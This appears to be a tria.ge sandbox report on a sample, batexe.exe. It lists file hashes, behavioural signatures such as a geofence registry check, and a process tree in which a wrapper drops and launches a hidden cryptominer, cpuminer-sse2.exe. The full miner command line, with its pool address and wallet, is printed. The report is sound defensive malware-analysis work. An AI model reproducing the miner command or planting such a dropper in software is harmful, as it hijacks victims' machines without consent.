Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
294s -
max time network
293s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-ja -
resource tags
arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows -
submitted
17/02/2024, 15:08
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation batexe.exe Key value queried \REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation b2e.exe -
Executes dropped EXE 2 IoCs
pid Process 1888 b2e.exe 4512 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 4512 cpuminer-sse2.exe 4512 cpuminer-sse2.exe 4512 cpuminer-sse2.exe 4512 cpuminer-sse2.exe 4512 cpuminer-sse2.exe -
resource yara_rule behavioral2/memory/2504-9-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2504 wrote to memory of 1888 2504 batexe.exe 85 PID 2504 wrote to memory of 1888 2504 batexe.exe 85 PID 2504 wrote to memory of 1888 2504 batexe.exe 85 PID 1888 wrote to memory of 3892 1888 b2e.exe 86 PID 1888 wrote to memory of 3892 1888 b2e.exe 86 PID 1888 wrote to memory of 3892 1888 b2e.exe 86 PID 3892 wrote to memory of 4512 3892 cmd.exe 89 PID 3892 wrote to memory of 4512 3892 cmd.exe 89
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2504 -
C:\Users\Admin\AppData\Local\Temp\6ED7.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\6ED7.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6ED7.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\72AF.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:3892 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4512
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
22.8MB
MD5acd2427b00b087cc1a68f6d099eeacf5
SHA1ccbffafa01e3f91e16ba36b76b62f844f359d51a
SHA25639641f469003b42e14b9d7c27cd99e90578f65130d1a90ef127f15720ea4064f
SHA512f27f249f4f2a05fd0e9425981c6cc29de7e205122c3fba81d1576baba7a65e3b10e06fd5b5271fee0a3cb741d2cfe028ec248da1896d9bfd6415be407a9dfd27
-
Filesize
5.0MB
MD5fbafaff874560be24e863ed826978122
SHA15f2209a419a955913254ac5a49744fc54d8727ca
SHA256728b839bd4245df3e0dee2fb61929a7cb80c992f4c80317e9fd9a5459b03b8d3
SHA51255ed3925803856419f0b759ec1d0683c121d908849075aa454113d19b31de73a89f89e3ad233d7bd6034cf5fd9f72de71ab968dd3587a508a336f4fb3e088bba
-
Filesize
5.5MB
MD5fdf5f72907bd801a30f9834ee3e85460
SHA1fa27586c46bbddd3703e589318a64487a5a862c8
SHA256ec9e822cde374a22f6405d68b069437cb0d5d12a26a2942f444b79115e354a19
SHA512f547d31443290abeceea7394e1d0eb8cb6eb1336712217e8eebebd0247a864a20b3ba3cea493d43583cea5566a7f4db85384008eaa5c5d0f4f8b2b887714dc27
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
1.8MB
MD509593c14cc3614820580611fa1bddb5c
SHA127e825a4c01df2ff391811ef8bf2e7d24e4b21db
SHA25636242593d0d9f24be722f8f0f5d360d36a8b3bd409a1073a7c1426bd9b1b6391
SHA512fd19116f3d23f8a20d76db14e82031a206b5783fa938a7c03328ced0b81ed9b4f4af85e5ae2efaf89cbb479fdfff33918db30fba7944a73f9de3c50deb95def6
-
Filesize
1.6MB
MD551a57c612d315cd4202df8e75c1013da
SHA1e58bc6db0f4c9dd680e300cdc660210316ebcf19
SHA2567652861f498ad81f347beb2197d0ecd193ddf5645d018e533e840c0765b22b8f
SHA512cb9b55ca097de0bbec9360f7450cceee0d7c307feb81f59ef0b6caada1cf2862d494a52e3c8eb33a8d894be076298433dbe83ff936feea953c560accfcadb675
-
Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
-
Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
-
Filesize
2.9MB
MD5e8f54c9d2232b5e2661924e19f988e43
SHA1dcb989bffcd25371a75c61e67222303bbde7bec8
SHA256d11dbc57e8321c02cc16112a6300d8eb8cd869c3af1931ebb880b2a7273dc533
SHA512c26b151a25ba76acf2e9beeaa812a2feced12b8c8bcc06f763bcd00e512e3372a6582b48b2542e07e3aac7a8202405edb04db5466637a73438d5e423427fc98d
-
Filesize
2.2MB
MD52ae14b3b45f53dd8617ea435f89279f1
SHA18da4b408d8da4c1c6d5fb03a658cf6f78cb312c9
SHA256f7dec6fe9db579154f8638ff4d084ab4d4acfe690af20619d1ad3f29fedea2ba
SHA5128a6f5531adc09bf4f81bf0e181474ec6e8790fe42aa8159521ebaf614a352dff28f63ec9de191908d19e6f002cc2f8bd06935d885009d9e37814618ed162a6de
-
Filesize
1.8MB
MD5fd9982fbb7f51742c68d2350be560e07
SHA169b5ec1f4b3a26d3843fc7656d082db0a8160582
SHA256593cde72b4256dbe836edb6ac463d299dc1c59e1c4c92f8b580a859a395a9817
SHA5124075d7848085633205e562b6a0cbb69102585bfd82576e3c321b8bcb456e4be783ee86caec489d5676a8023e5b2073763cb3f79f55d82be14c8b6776a1cd609e
-
Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770